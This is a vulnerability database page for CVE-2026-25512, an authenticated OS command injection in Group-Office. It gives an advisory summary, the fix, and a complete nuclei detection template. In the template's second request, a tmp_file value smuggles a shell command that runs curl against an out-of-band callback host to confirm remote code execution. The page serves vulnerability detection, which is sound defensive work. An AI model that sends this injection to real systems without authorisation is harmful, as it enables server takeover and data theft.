Browse / CVEs / CVE-2026-25512
CVE-2026-25512· intermesh / group-office· CWE-78
Group-Office < 26.0.5 - Remote Code Execution
Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
Impact
Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
Fix
Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
How to confirm it
Send: POST /index.php?r=core/auth/login
Positive when: status_code == 200 and contains(body, "\"success\":true")
Send: GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}}
Positive when: status_code == 200 and contains(interactsh_protocol, "dns")Run it with nuclei: nuclei -id CVE-2026-25512 -u <target>
The full check
id: CVE-2026-25512
info:
name: Group-Office < 26.0.5 - Remote Code Execution
author: omarkurt
severity: critical
description: |
Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
impact: |
Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
remediation: |
Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
reference:
- https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4
- https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792
- https://nvd.nist.gov/vuln/detail/CVE-2026-25512
- https://vulnerabletarget.com/VT-2026-25512
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-25512
cwe-id: CWE-78
epss-score: 0.1986
epss-percentile: 0.97441
metadata:
verified: true
max-request: 2
vendor: intermesh
product: group-office
shodan-query: title:"Group-Office"
fofa-query: title="Group-Office"
tags: cve,cve2026,groupoffice,rce,authenticated,oast
variables:
username: "{{username}}"
password: "{{password}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /index.php?r=core/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"success\":true")'
condition: and
internal: true
extractors:
- type: regex
name: security_token
part: body
group: 1
regex:
- '"security_token":"([^"]+)"'
internal: true
- raw:
- |
GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "dns")'
condition: andReferences
- https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4
- https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792
- https://nvd.nist.gov/vuln/detail/CVE-2026-25512
- https://vulnerabletarget.com/VT-2026-25512
Use this check only on systems you are authorised to test. Where the data comes from